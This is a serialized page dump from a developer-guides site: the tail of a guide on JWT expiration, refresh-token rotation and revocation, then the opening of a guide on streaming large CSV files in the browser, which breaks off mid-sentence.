jwt.sign(\n  { sub: 'user123', role: 'editor' },\n  process.env.JWT_SECRET,\n  { expiresIn: '15m' }  \u002F\u002F 15 minutes\n)\n",[143,138718,138719,138731,138735,138750,138766,138775,138789],{"__ignoreMap":141},[1560,138720,138721,138723,138726,138728],{"class":1562,"line":1563},[1560,138722,8162],{"class":1669},[1560,138724,138725],{"class":1570}," jwt ",[1560,138727,8168],{"class":1669},[1560,138729,138730],{"class":5634}," 'jsonwebtoken'\n",[1560,138732,138733],{"class":1562,"line":337},[1560,138734,1702],{"emptyLinePlaceholder":363},[1560,138736,138737,138739,138741,138743,138745,138748],{"class":1562,"line":343},[1560,138738,8180],{"class":1669},[1560,138740,42129],{"class":1576},[1560,138742,8186],{"class":1669},[1560,138744,90896],{"class":1570},[1560,138746,138747],{"class":1566},"sign",[1560,138749,35957],{"class":1570},[1560,138751,138752,138755,138758,138761,138764],{"class":1562,"line":365},[1560,138753,138754],{"class":1570},"  { sub: ",[1560,138756,138757],{"class":5634},"'user123'",[1560,138759,138760],{"class":1570},", role: ",[1560,138762,138763],{"class":5634},"'editor'",[1560,138765,21223],{"class":1570},[1560,138767,138768,138771,138773],{"class":1562,"line":889},[1560,138769,138770],{"class":1570},"  process.env.",[1560,138772,90394],{"class":1576},[1560,138774,11943],{"class":1570},[1560,138776,138777,138780,138783,138786],{"class":1562,"line":1710},[1560,138778,138779],{"class":1570},"  { expiresIn: ",[1560,138781,138782],{"class":5634},"'15m'",[1560,138784,138785],{"class":1570}," }  ",[1560,138787,138788],{"class":1649},"\u002F\u002F 15 minutes\n",[1560,138790,138791],{"class":1562,"line":1717},[1560,138792,8252],{"class":1570},[16,138794,421,138795,138798,138799,1459,138801,1459,138804,138807,138808,138810],{},[143,138796,138797],{},"expiresIn"," option accepts human-readable strings (",[143,138800,138782],{},[143,138802,138803],{},"'1h'",[143,138805,138806],{},"'7d'",") or numeric values in seconds. The library computes the ",[143,138809,90022],{}," claim by adding this duration to the current time.",[16,138812,138813],{},"Recommended expiration windows by token type:",[193,138815,138816,138828],{},[196,138817,138818],{},[199,138819,138820,138823,138826],{},[202,138821,138822],{},"Token Type",[202,138824,138825],{},"Recommended Lifetime",[202,138827,12089],{},[211,138829,138830,138841,138852,138863],{},[199,138831,138832,138835,138838],{},[216,138833,138834],{},"Access token",[216,138836,138837],{},"5–15 minutes",[216,138839,138840],{},"Short window limits damage if stolen",[199,138842,138843,138846,138849],{},[216,138844,138845],{},"Refresh token",[216,138847,138848],{},"7–30 days",[216,138850,138851],{},"Balances security with user convenience",[199,138853,138854,138857,138860],{},[216,138855,138856],{},"Email verification",[216,138858,138859],{},"1–24 hours",[216,138861,138862],{},"Time-limited action confirmation",[199,138864,138865,138868,138871],{},[216,138866,138867],{},"API key (service-to-service)",[216,138869,138870],{},"90–365 days",[216,138872,138873],{},"Long-lived; rotate on schedule",[11,138875,138877],{"id":138876},"the-short-lived-access-token-pattern","The Short-Lived Access Token Pattern",[16,138879,138880],{},"Industry best practice splits authentication into two tokens:",[77,138882,138883,138889],{},[44,138884,138885,138888],{},[47,138886,138887],{},"Access token:"," Short-lived (5–15 minutes), carries authorization claims, sent with every API request.",[44,138890,138891,138894],{},[47,138892,138893],{},"Refresh token:"," Long-lived (7–30 days), carries only an identifier, used exclusively to obtain new access tokens.",[135,138896,138898],{"className":17509,"code":138897,"language":17511,"meta":141,"style":141},"\u002F\u002F Issue both tokens at login\nconst accessToken = jwt.sign(\n  { sub: userId, role: user.role },\n  ACCESS_SECRET,\n  { expiresIn: '15m' }\n)\n\nconst refreshToken = jwt.sign(\n  { sub: userId, jti: crypto.randomUUID() },\n  REFRESH_SECRET,\n  { expiresIn: '7d' }\n)\n",[143,138899,138900,138905,138920,138925,138932,138940,138944,138948,138963,138974,138981,138989],{"__ignoreMap":141},[1560,138901,138902],{"class":1562,"line":1563},[1560,138903,138904],{"class":1649},"\u002F\u002F Issue both tokens at login\n",[1560,138906,138907,138909,138912,138914,138916,138918],{"class":1562,"line":337},[1560,138908,8180],{"class":1669},[1560,138910,138911],{"class":1576}," accessToken",[1560,138913,8186],{"class":1669},[1560,138915,90896],{"class":1570},[1560,138917,138747],{"class":1566},[1560,138919,35957],{"class":1570},[1560,138921,138922],{"class":1562,"line":343},[1560,138923,138924],{"class":1570},"  { sub: userId, role: user.role },\n",[1560,138926,138927,138930],{"class":1562,"line":365},[1560,138928,138929],{"class":1576},"  ACCESS_SECRET",[1560,138931,11943],{"class":1570},[1560,138933,138934,138936,138938],{"class":1562,"line":889},[1560,138935,138779],{"class":1570},[1560,138937,138782],{"class":5634},[1560,138939,27879],{"class":1570},[1560,138941,138942],{"class":1562,"line":1710},[1560,138943,8252],{"class":1570},[1560,138945,138946],{"class":1562,"line":1717},[1560,138947,1702],{"emptyLinePlaceholder":363},[1560,138949,138950,138952,138955,138957,138959,138961],{"class":1562,"line":1747},[1560,138951,8180],{"class":1669},[1560,138953,138954],{"class":1576}," refreshToken",[1560,138956,8186],{"class":1669},[1560,138958,90896],{"class":1570},[1560,138960,138747],{"class":1566},[1560,138962,35957],{"class":1570},[1560,138964,138965,138968,138971],{"class":1562,"line":2507},[1560,138966,138967],{"class":1570},"  { sub: userId, jti: crypto.",[1560,138969,138970],{"class":1566},"randomUUID",[1560,138972,138973],{"class":1570},"() },\n",[1560,138975,138976,138979],{"class":1562,"line":2524},[1560,138977,138978],{"class":1576},"  REFRESH_SECRET",[1560,138980,11943],{"class":1570},[1560,138982,138983,138985,138987],{"class":1562,"line":2529},[1560,138984,138779],{"class":1570},[1560,138986,138806],{"class":5634},[1560,138988,27879],{"class":1570},[1560,138990,138991],{"class":1562,"line":2534},[1560,138992,8252],{"class":1570},[16,138994,138995],{},"When the access token expires, the client sends the refresh token to a dedicated endpoint to obtain a new access token without requiring the user to re-authenticate. This pattern minimizes the window during which a stolen access token is valid while maintaining a seamless user experience.",[11,138997,138999],{"id":138998},"refresh-token-rotation","Refresh Token Rotation",[16,139001,139002],{},"Refresh token rotation issues a new refresh token with every use, invalidating the previous one. If an attacker steals a refresh token and uses it, the legitimate client's next refresh attempt fails because its token was already rotated. This detection mechanism alerts you to potential compromise.",[135,139004,139006],{"className":17509,"code":139005,"language":17511,"meta":141,"style":141},"async function refreshTokenHandler(oldRefreshToken: string) {\n  \u002F\u002F Verify the old token\n  const payload = jwt.verify(oldRefreshToken, REFRESH_SECRET)\n\n  \u002F\u002F Check if it's in the revoked list (reuse detection)\n  if (await isTokenRevoked(payload.jti)) {\n    \u002F\u002F Potential theft: revoke entire family\n    await revokeTokenFamily(payload.sub)\n    throw new Error('Token reuse detected')\n  }\n\n  \u002F\u002F Revoke the old refresh token\n  await revokeToken(payload.jti)\n\n  \u002F\u002F Issue new token pair\n  const newAccessToken = jwt.sign(\n    { sub: payload.sub, role: payload.role },\n    ACCESS_SECRET,\n    { expiresIn: '15m' }\n  )\n\n  const newRefreshToken = jwt.sign(\n    { sub: payload.sub, jti: crypto.randomUUID() },\n    REFRESH_SECRET,\n    { expiresIn: '7d' }\n  )\n\n  return { accessToken: newAccessToken, refreshToken: newRefreshToken }\n}\n",[143,139007,139008,139028,139033,139053,139057,139062,139076,139081,139092,139108,139112,139116,139121,139131,139135,139140,139155,139160,139167,139176,139181,139185,139200,139209,139216,139224,139228,139232,139239],{"__ignoreMap":141},[1560,139009,139010,139012,139014,139017,139019,139022,139024,139026],{"class":1562,"line":1563},[1560,139011,82166],{"class":1669},[1560,139013,38314],{"class":1669},[1560,139015,139016],{"class":1566}," refreshTokenHandler",[1560,139018,1688],{"class":1570},[1560,139020,139021],{"class":2219},"oldRefreshToken",[1560,139023,8037],{"class":1669},[1560,139025,134008],{"class":1576},[1560,139027,9345],{"class":1570},[1560,139029,139030],{"class":1562,"line":337},[1560,139031,139032],{"class":1649},"  \u002F\u002F Verify the old token\n",[1560,139034,139035,139037,139039,139041,139043,139045,139048,139051],{"class":1562,"line":343},[1560,139036,28057],{"class":1669},[1560,139038,89941],{"class":1576},[1560,139040,8186],{"class":1669},[1560,139042,90896],{"class":1570},[1560,139044,90321],{"class":1566},[1560,139046,139047],{"class":1570},"(oldRefreshToken, ",[1560,139049,139050],{"class":1576},"REFRESH_SECRET",[1560,139052,8252],{"class":1570},[1560,139054,139055],{"class":1562,"line":365},[1560,139056,1702],{"emptyLinePlaceholder":363},[1560,139058,139059],{"class":1562,"line":889},[1560,139060,139061],{"class":1649},"  \u002F\u002F Check if it's in the revoked list (reuse detection)\n",[1560,139063,139064,139066,139068,139070,139073],{"class":1562,"line":1710},[1560,139065,27984],{"class":1669},[1560,139067,5181],{"class":1570},[1560,139069,38273],{"class":1669},[1560,139071,139072],{"class":1566}," isTokenRevoked",[1560,139074,139075],{"class":1570},"(payload.jti)) {\n",[1560,139077,139078],{"class":1562,"line":1717},[1560,139079,139080],{"class":1649},"    \u002F\u002F Potential theft: revoke entire family\n",[1560,139082,139083,139086,139089],{"class":1562,"line":1747},[1560,139084,139085],{"class":1669},"    await",[1560,139087,139088],{"class":1566}," revokeTokenFamily",[1560,139090,139091],{"class":1570},"(payload.sub)\n",[1560,139093,139094,139097,139099,139101,139103,139106],{"class":1562,"line":2507},[1560,139095,139096],{"class":1669},"    throw",[1560,139098,11489],{"class":1669},[1560,139100,28011],{"class":1566},[1560,139102,1688],{"class":1570},[1560,139104,139105],{"class":5634},"'Token reuse detected'",[1560,139107,8252],{"class":1570},[1560,139109,139110],{"class":1562,"line":2524},[1560,139111,4959],{"class":1570},[1560,139113,139114],{"class":1562,"line":2529},[1560,139115,1702],{"emptyLinePlaceholder":363},[1560,139117,139118],{"class":1562,"line":2534},[1560,139119,139120],{"class":1649},"  \u002F\u002F Revoke the old refresh token\n",[1560,139122,139123,139125,139128],{"class":1562,"line":2542},[1560,139124,28084],{"class":1669},[1560,139126,139127],{"class":1566}," revokeToken",[1560,139129,139130],{"class":1570},"(payload.jti)\n",[1560,139132,139133],{"class":1562,"line":2558},[1560,139134,1702],{"emptyLinePlaceholder":363},[1560,139136,139137],{"class":1562,"line":2570},[1560,139138,139139],{"class":1649},"  \u002F\u002F Issue new token pair\n",[1560,139141,139142,139144,139147,139149,139151,139153],{"class":1562,"line":6638},[1560,139143,28057],{"class":1669},[1560,139145,139146],{"class":1576}," newAccessToken",[1560,139148,8186],{"class":1669},[1560,139150,90896],{"class":1570},[1560,139152,138747],{"class":1566},[1560,139154,35957],{"class":1570},[1560,139156,139157],{"class":1562,"line":11615},[1560,139158,139159],{"class":1570},"    { sub: payload.sub, role: payload.role },\n",[1560,139161,139162,139165],{"class":1562,"line":11621},[1560,139163,139164],{"class":1576},"    ACCESS_SECRET",[1560,139166,11943],{"class":1570},[1560,139168,139169,139172,139174],{"class":1562,"line":11633},[1560,139170,139171],{"class":1570},"    { expiresIn: ",[1560,139173,138782],{"class":5634},[1560,139175,27879],{"class":1570},[1560,139177,139178],{"class":1562,"line":11638},[1560,139179,139180],{"class":1570},"  )\n",[1560,139182,139183],{"class":1562,"line":11672},[1560,139184,1702],{"emptyLinePlaceholder":363},[1560,139186,139187,139189,139192,139194,139196,139198],{"class":1562,"line":19435},[1560,139188,28057],{"class":1669},[1560,139190,139191],{"class":1576}," newRefreshToken",[1560,139193,8186],{"class":1669},[1560,139195,90896],{"class":1570},[1560,139197,138747],{"class":1566},[1560,139199,35957],{"class":1570},[1560,139201,139202,139205,139207],{"class":1562,"line":19442},[1560,139203,139204],{"class":1570},"    { sub: payload.sub, jti: crypto.",[1560,139206,138970],{"class":1566},[1560,139208,138973],{"class":1570},[1560,139210,139211,139214],{"class":1562,"line":19475},[1560,139212,139213],{"class":1576},"    REFRESH_SECRET",[1560,139215,11943],{"class":1570},[1560,139217,139218,139220,139222],{"class":1562,"line":19508},[1560,139219,139171],{"class":1570},[1560,139221,138806],{"class":5634},[1560,139223,27879],{"class":1570},[1560,139225,139226],{"class":1562,"line":44196},[1560,139227,139180],{"class":1570},[1560,139229,139230],{"class":1562,"line":44203},[1560,139231,1702],{"emptyLinePlaceholder":363},[1560,139233,139234,139236],{"class":1562,"line":44220},[1560,139235,9350],{"class":1669},[1560,139237,139238],{"class":1570}," { accessToken: newAccessToken, refreshToken: newRefreshToken }\n",[1560,139240,139241],{"class":1562,"line":71501},[1560,139242,1585],{"class":1570},[11,139244,10393],{"id":10392},[16,139246,139247,139250],{},[47,139248,139249],{},"Setting expiration too far out."," An access token that lasts 24 hours means a stolen token grants access for a full day. Keep access tokens under 15 minutes.",[16,139252,139253,139256,139257,139259,139260,139263],{},[47,139254,139255],{},"Ignoring clock skew."," JWT validation compares ",[143,139258,90022],{}," against the server's clock. If client and server clocks differ by more than the token lifetime, valid tokens may be rejected or expired tokens accepted. Most JWT libraries accept a ",[143,139261,139262],{},"clockTolerance"," option (typically 30 seconds) to handle minor skew.",[16,139265,139266,139269],{},[47,139267,139268],{},"Not storing refresh tokens securely."," Refresh tokens must be stored server-side (in a database or Redis) so they can be revoked. Stateless refresh tokens cannot be invalidated, defeating the purpose of rotation.",[16,139271,139272,139275],{},[47,139273,139274],{},"Using the same secret for access and refresh tokens."," Always use separate signing keys. If an access token secret is compromised, refresh tokens should remain secure.",[16,139277,139278,139284,139285,127105,139287,139289],{},[47,139279,139280,139281,139283],{},"Missing the ",[143,139282,90040],{}," (issued at) claim."," Including ",[143,139286,90040],{},[143,139288,90022],{}," enables you to calculate the token's age and enforce maximum token age policies independent of expiration.",[11,139291,139293],{"id":139292},"token-revocation-strategies","Token Revocation Strategies",[16,139295,139296],{},"Since JWTs cannot be revoked by design, you need supplementary mechanisms:",[41,139298,139299,139308,139318],{},[44,139300,139301,139304,139305,139307],{},[47,139302,139303],{},"Token blocklist:"," Store revoked token IDs (",[143,139306,138254],{}," claims) in Redis with TTLs matching their remaining lifetime. Check the blocklist on every request.",[44,139309,139310,139313,139314,139317],{},[47,139311,139312],{},"Versioned claims:"," Include a ",[143,139315,139316],{},"tokenVersion"," claim that maps to a user record. Incrementing the version invalidates all outstanding tokens for that user.",[44,139319,139320,139323],{},[47,139321,139322],{},"Short lifetimes + rotation:"," The simplest strategy—keep access tokens so short that revocation is rarely needed, and rotate refresh tokens for detection.",[16,139325,139326,139327,139329,139330,1459,139332,1466,139334,139336],{},"For decoding and inspecting JWT expiration times, the ",[98,139328,138676],{"href":91042}," displays all claims including ",[143,139331,90022],{},[143,139333,90040],{},[143,139335,90967],{}," in a readable format.",[2043,139338,139339],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":139341},[139342,139343,139344,139345,139346],{"id":138707,"depth":337,"text":138708},{"id":138876,"depth":337,"text":138877},{"id":138998,"depth":337,"text":138999},{"id":10392,"depth":337,"text":10393},{"id":139292,"depth":337,"text":139293},"How to set exp claims, handle refresh tokens, and avoid common expiration pitfalls.",{},"\u002Fguides\u002Fjwt-token-expiration",{"title":138696,"description":139347},"guides\u002Fjwt-token-expiration","R-AYbhFhUeeHtL8GoMNnzirBru-WtXo8eBUki-gBDOg",{"id":139354,"title":139355,"body":139356,"date":2070,"description":140378,"extension":361,"meta":140379,"navigation":363,"path":140380,"readingTime":1710,"seo":140381,"stem":140382,"__hash__":140383},"guides\u002Fguides\u002Flarge-csv-processing.md","Processing Large CSV Files in the Browser",{"type":8,"value":139357,"toc":140367},[139358,139360,139363,139366,139370,139380,139625,139628,139632,139635,139649,139656,139757,139760,139764,139767,139913,139920,139924,139927,139986,139989,140115,140119,140122,140279,140285,140287,140329,140331,140358,140360,140365],[11,139359,110411],{"id":110410},[16,139361,139362],{},"Opening a 500MB CSV file in the browser sounds straightforward — read the file, parse it, display it. But browsers allocate memory for the raw file, the parsed string, the array of rows, and often a duplicate for transformation. A 500MB CSV can easily consume 2GB of RAM, exceeding the typical tab's memory limit and causing an out-of-crash.",[16,139364,139365],{},"The solution is not a bigger machine. It is processing the file incrementally — reading chunks, transforming rows one at a time, and never holding the entire dataset in memory simultaneously.",[11,139367,139369],{"id":139368},"streaming-file-reads","Streaming File Reads",[16,139371,421,139372,139375,139376,139379],{},[143,139373,139374],{},"File"," API combined with ",[143,139377,139378],{},"ReadableStream"," lets you read files in manageable chunks rather than loading everything at once:",[135,139381,139383],{"className":1607,"code":139382,"language":1609,"meta":141,"style":141},"async function processFile(file) {\n  const stream = file.stream();\n  const reader = stream.getReader();\n  const decoder = new TextDecoder();\n\n  let buffer = '';\n\n  while (true) {\n    const { done, value } = await reader.read();\n    if (done) break;\n\n    buffer += decoder.decode(value, { stream: true });\n    const lines = buffer.split('\\n');\n\n    \u002F\u002F Keep the last (potentially incomplete) line in the buffer\n    buffer = lines.pop();\n\n    for (const line of lines) {\n      processRow(line);\n    }\n  }\n\n  \u002F\u002F Process any remaining data\n  if (buffer) processRow(buffer);\n}\n",[143,139384,139385,139400,139414,139428,139442,139446,139458,139462,139472,139496,139506,139510,139526,139548,139552,139557,139569,139573,139587,139594,139598,139602,139606,139610,139621],{"__ignoreMap":141},[1560,139386,139387,139389,139391,139394,139396,139398],{"class":1562,"line":1563},[1560,139388,82166],{"class":1669},[1560,139390,38314],{"class":1669},[1560,139392,139393],{"class":1566}," processFile",[1560,139395,1688],{"class":1570},[1560,139397,110447],{"class":2219},[1560,139399,9345],{"class":1570},[1560,139401,139402,139404,139406,139408,139410,139412],{"class":1562,"line":337},[1560,139403,28057],{"class":1669},[1560,139405,110461],{"class":1576},[1560,139407,8186],{"class":1669},[1560,139409,110466],{"class":1570},[1560,139411,110469],{"class":1566},[1560,139413,90158],{"class":1570},[1560,139415,139416,139418,139420,139422,139424,139426],{"class":1562,"line":343},[1560,139417,28057],{"class":1669},[1560,139419,110478],{"class":1576},[1560,139421,8186],{"class":1669},[1560,139423,110483],{"class":1570},[1560,139425,110486],{"class":1566},[1560,139427,90158],{"class":1570},[1560,139429,139430,139432,139434,139436,139438,139440],{"class":1562,"line":365},[1560,139431,28057],{"class":1669},[1560,139433,110495],{"class":1576},[1560,139435,8186],{"class":1669},[1560,139437,11489],{"class":1669},[1560,139439,110502],{"class":1566},[1560,139441,90158],{"class":1570},[1560,139443,139444],{"class":1562,"line":889},[1560,139445,1702],{"emptyLinePlaceholder":363},[1560,139447,139448,139450,139452,139454,139456],{"class":1562,"line":1710},[1560,139449,38049],{"class":1669},[1560,139451,110511],{"class":1570},[1560,139453,7297],{"class":1669},[1560,139455,81655],{"class":5634},[1560,139457,2228],{"class":1570},[1560,139459,139460],{"class":1562,"line":1717},[1560,139461,1702],{"emptyLinePlaceholder":363},[1560,139463,139464,139466,139468,139470],{"class":1562,"line":1747},[1560,139465,38062],{"class":1669},[1560,139467,5181],{"class":1570},[1560,139469,20533],{"class":1576},[1560,139471,9345],{"class":1570},[1560,139473,139474,139476,139478,139480,139482,139484,139486,139488,139490,139492,139494],{"class":1562,"line":2507},[1560,139475,9385],{"class":1669},[1560,139477,1658],{"class":1570},[1560,139479,110540],{"class":1576},[1560,139481,1459],{"class":1570},[1560,139483,39103],{"class":1576},[1560,139485,49704],{"class":1570},[1560,139487,7297],{"class":1669},[1560,139489,28065],{"class":1669},[1560,139491,110553],{"class":1570},[1560,139493,24572],{"class":1566},[1560,139495,90158],{"class":1570},[1560,139497,139498,139500,139502,139504],{"class":1562,"line":2524},[1560,139499,11527],{"class":1669},[1560,139501,110564],{"class":1570},[1560,139503,110567],{"class":1669},[1560,139505,2228],{"class":1570},[1560,139507,139508],{"class":1562,"line":2529},[1560,139509,1702],{"emptyLinePlaceholder":363},[1560,139511,139512,139514,139516,139518,139520,139522,139524],{"class":1562,"line":2534},[1560,139513,110578],{"class":1570},[1560,139515,28386],{"class":1669},[1560,139517,110583],{"class":1570},[1560,139519,90899],{"class":1566},[1560,139521,110588],{"class":1570},[1560,139523,20533],{"class":1576},[1560,139525,11630],{"class":1570},[1560,139527,139528,139530,139532,139534,139536,139538,139540,139542,139544,139546],{"class":1562,"line":2542},[1560,139529,9385],{"class":1669},[1560,139531,110599],{"class":1576},[1560,139533,8186],{"class":1669},[1560,139535,110604],{"class":1570},[1560,139537,9356],{"class":1566},[1560,139539,1688],{"class":1570},[1560,139541,9361],{"class":5634},[1560,139543,8222],{"class":1576},[1560,139545,9361],{"class":5634},[1560,139547,1744],{"class":1570},[1560,139549,139550],{"class":1562,"line":2558},[1560,139551,1702],{"emptyLinePlaceholder":363},[1560,139553,139554],{"class":1562,"line":2570},[1560,139555,139556],{"class":1649},"    \u002F\u002F Keep the last (potentially incomplete) line in the buffer\n",[1560,139558,139559,139561,139563,139565,139567],{"class":1562,"line":6638},[1560,139560,110578],{"class":1570},[1560,139562,7297],{"class":1669},[1560,139564,110634],{"class":1570},[1560,139566,110637],{"class":1566},[1560,139568,90158],{"class":1570},[1560,139570,139571],{"class":1562,"line":11615},[1560,139572,1702],{"emptyLinePlaceholder":363},[1560,139574,139575,139577,139579,139581,139583,139585],{"class":1562,"line":11621},[1560,139576,110648],{"class":1669},[1560,139578,5181],{"class":1570},[1560,139580,8180],{"class":1669},[1560,139582,110655],{"class":1576},[1560,139584,110658],{"class":1669},[1560,139586,110661],{"class":1570},[1560,139588,139589,139592],{"class":1562,"line":11633},[1560,139590,139591],{"class":1566},"      processRow",[1560,139593,110676],{"class":1570},[1560,139595,139596],{"class":1562,"line":11638},[1560,139597,11612],{"class":1570},[1560,139599,139600],{"class":1562,"line":11672},[1560,139601,4959],{"class":1570},[1560,139603,139604],{"class":1562,"line":19435},[1560,139605,1702],{"emptyLinePlaceholder":363},[1560,139607,139608],{"class":1562,"line":19442},[1560,139609,110705],{"class":1649},[1560,139611,139612,139614,139616,139619],{"class":1562,"line":19475},[1560,139613,27984],{"class":1669},[1560,139615,110712],{"class":1570},[1560,139617,139618],{"class":1566},"processRow",[1560,139620,13706],{"class":1570},[1560,139622,139623],{"class":1562,"line":19508},[1560,139624,1585],{"class":1570},[16,139626,139627],{},"This approach keeps memory usage roughly constant regardless of file size because only the current chunk and buffer remain in memory at any time.",[11,139629,139631],{"id":139630},"chunked-parsing-strategy","Chunked Parsing Strategy",[16,139633,139634],{},"CSV parsing gets tricky at chunk boundaries — a chunk might split a row that contains quoted fields with embedded newlines. Handle this by buffering partial lines:",[77,139636,139637,139640,139643,139646],{},[44,139638,139639],{},"Append each chunk to a string buffer.",[44,139641,139642],{},"Split on newlines.",[44,139644,139645],{},"Keep the last segment in the buffer (it may be incomplete).",[44,139647,139648],{},"Parse complete lines only.",[16,139650,139651,139652,139655],{},"For robust parsing, use a streaming CSV parser like ",[143,139653,139654],{},"papaparse"," in stream mode:",[135,139657,139659],{"className":1607,"code":139658,"language":1609,"meta":141,"style":141},"Papa.parse(file, {\n  header: true,\n  chunk: function(results) {\n    for (const row of results.data) {\n      processRow(row);\n    }\n  },\n  complete: function() {\n    console.log('Processing complete');\n  }\n});\n",[143,139660,139661,139671,139680,139696,139711,139717,139721,139725,139736,139749,139753],{"__ignoreMap":141},[1560,139662,139663,139666,139668],{"class":1562,"line":1563},[1560,139664,139665],{"class":1570},"Papa.",[1560,139667,80838],{"class":1566},[1560,139669,139670],{"class":1570},"(file, {\n",[1560,139672,139673,139676,139678],{"class":1562,"line":337},[1560,139674,139675],{"class":1570},"  header: ",[1560,139677,20533],{"class":1576},[1560,139679,11943],{"class":1570},[1560,139681,139682,139685,139687,139689,139691,139694],{"class":1562,"line":343},[1560,139683,139684],{"class":1566},"  chunk",[1560,139686,1663],{"class":1570},[1560,139688,8648],{"class":1669},[1560,139690,1688],{"class":1570},[1560,139692,139693],{"class":2219},"results",[1560,139695,9345],{"class":1570},[1560,139697,139698,139700,139702,139704,139706,139708],{"class":1562,"line":365},[1560,139699,110648],{"class":1669},[1560,139701,5181],{"class":1570},[1560,139703,8180],{"class":1669},[1560,139705,110668],{"class":1576},[1560,139707,110658],{"class":1669},[1560,139709,139710],{"class":1570}," results.data) {\n",[1560,139712,139713,139715],{"class":1562,"line":889},[1560,139714,139591],{"class":1566},[1560,139716,110688],{"class":1570},[1560,139718,139719],{"class":1562,"line":1710},[1560,139720,11612],{"class":1570},[1560,139722,139723],{"class":1562,"line":1717},[1560,139724,11862],{"class":1570},[1560,139726,139727,139730,139732,139734],{"class":1562,"line":1747},[1560,139728,139729],{"class":1566},"  complete",[1560,139731,1663],{"class":1570},[1560,139733,8648],{"class":1669},[1560,139735,8654],{"class":1570},[1560,139737,139738,139740,139742,139744,139747],{"class":1562,"line":2507},[1560,139739,102264],{"class":1570},[1560,139741,8214],{"class":1566},[1560,139743,1688],{"class":1570},[1560,139745,139746],{"class":5634},"'Processing complete'",[1560,139748,1744],{"class":1570},[1560,139750,139751],{"class":1562,"line":2524},[1560,139752,4959],{"class":1570},[1560,139754,139755],{"class":1562,"line":2529},[1560,139756,11809],{"class":1570},[16,139758,139759],{},"PapaParse handles quoted fields, escaped delimiters, and chunk boundaries correctly, which is much harder to get right with manual splitting.",[11,139761,139763],{"id":139762},"progressive-output","Progressive Output",[16,139765,139766],{},"For large files, users need feedback that something is happening. Show progress and stream results incrementally:",[135,139768,139770],{"className":1607,"code":139769,"language":1609,"meta":141,"style":141},"let processed = 0;\nconst totalSize = file.size;\n\nfunction processRow(row) {\n  \u002F\u002F Transform and emit the row\n  output.push(transform(row));\n  processed++;\n\n  if (processed % 10000 === 0) {\n    const progress = (chunkOffset \u002F totalSize * 100).toFixed(1);\n    updateProgressBar(progress);\n  }\n}\n",[143,139771,139772,139785,139797,139801,139814,139819,139833,139842,139846,139865,139897,139905,139909],{"__ignoreMap":141},[1560,139773,139774,139776,139779,139781,139783],{"class":1562,"line":1563},[1560,139775,41680],{"class":1669},[1560,139777,139778],{"class":1570}," processed ",[1560,139780,7297],{"class":1669},[1560,139782,13541],{"class":1576},[1560,139784,2228],{"class":1570},[1560,139786,139787,139789,139792,139794],{"class":1562,"line":337},[1560,139788,8180],{"class":1669},[1560,139790,139791],{"class":1576}," totalSize",[1560,139793,8186],{"class":1669},[1560,139795,139796],{"class":1570}," file.size;\n",[1560,139798,139799],{"class":1562,"line":343},[1560,139800,1702],{"emptyLinePlaceholder":363},[1560,139802,139803,139805,139808,139810,139812],{"class":1562,"line":365},[1560,139804,8648],{"class":1669},[1560,139806,139807],{"class":1566}," processRow",[1560,139809,1688],{"class":1570},[1560,139811,58185],{"class":2219},[1560,139813,9345],{"class":1570},[1560,139815,139816],{"class":1562,"line":889},[1560,139817,139818],{"class":1649},"  \u002F\u002F Transform and emit the row\n",[1560,139820,139821,139824,139826,139828,139830],{"class":1562,"line":1710},[1560,139822,139823],{"class":1570},"  output.",[1560,139825,38129],{"class":1566},[1560,139827,1688],{"class":1570},[1560,139829,1514],{"class":1566},[1560,139831,139832],{"class":1570},"(row));\n",[1560,139834,139835,139838,139840],{"class":1562,"line":1717},[1560,139836,139837],{"class":1570},"  processed",[1560,139839,101562],{"class":1669},[1560,139841,2228],{"class":1570},[1560,139843,139844],{"class":1562,"line":1747},[1560,139845,1702],{"emptyLinePlaceholder":363},[1560,139847,139848,139850,139853,139855,139858,139861,139863],{"class":1562,"line":2507},[1560,139849,27984],{"class":1669},[1560,139851,139852],{"class":1570}," (processed ",[1560,139854,17990],{"class":1669},[1560,139856,139857],{"class":1576}," 10000",[1560,139859,139860],{"class":1669}," ===",[1560,139862,13541],{"class":1576},[1560,139864,9345],{"class":1570},[1560,139866,139867,139869,139872,139874,139877,139879,139882,139884,139886,139888,139891,139893,139895],{"class":1562,"line":2524},[1560,139868,9385],{"class":1669},[1560,139870,139871],{"class":1576}," progress",[1560,139873,8186],{"class":1669},[1560,139875,139876],{"class":1570}," (chunkOffset ",[1560,139878,9423],{"class":1669},[1560,139880,139881],{"class":1570}," totalSize ",[1560,139883,8069],{"class":1669},[1560,139885,35878],{"class":1576},[1560,139887,9368],{"class":1570},[1560,139889,139890],{"class":1566},"toFixed",[1560,139892,1688],{"class":1570},[1560,139894,3585],{"class":1576},[1560,139896,1744],{"class":1570},[1560,139898,139899,139902],{"class":1562,"line":2529},[1560,139900,139901],{"class":1566},"    updateProgressBar",[1560,139903,139904],{"class":1570},"(progress);\n",[1560,139906,139907],{"class":1562,"line":2534},[1560,139908,4959],{"class":1570},[1560,139910,139911],{"class":1562,"line":2542},[1560,139912,1585],{"class":1570},[16,139914,139915,139916,139919],{},"Avoid 